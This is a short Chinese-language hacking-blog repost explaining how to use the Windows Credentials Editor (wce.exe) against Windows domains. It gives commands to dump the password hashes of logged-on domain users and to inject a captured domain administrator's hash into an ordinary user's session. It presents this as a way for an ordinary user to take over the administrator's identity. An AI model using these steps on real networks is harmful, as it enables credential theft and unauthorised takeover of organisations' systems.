转自hack520′s Blog
可以抓到當前登陸在上面的域用戶HASH，xp~2008 都可以~X64 沒測試~上3389時請用console上才可正常運行~

wce.exe -l 列出當前域用戶HASH，如果你是普通YU用戶~而超級DOMAIN ADMIN又ONLINE時~
得到他HASH 之後~

wce.exe -s pig:Domainname:00000000000000000000000000000000:4A59CF37F6A2307D14ABA1921E8BBFE6 //例如pig是DOMAIN ADMIN

就可以把此豬的HASH，繼承到你當前DOMAIN USER 上，你就是pig.你無敵~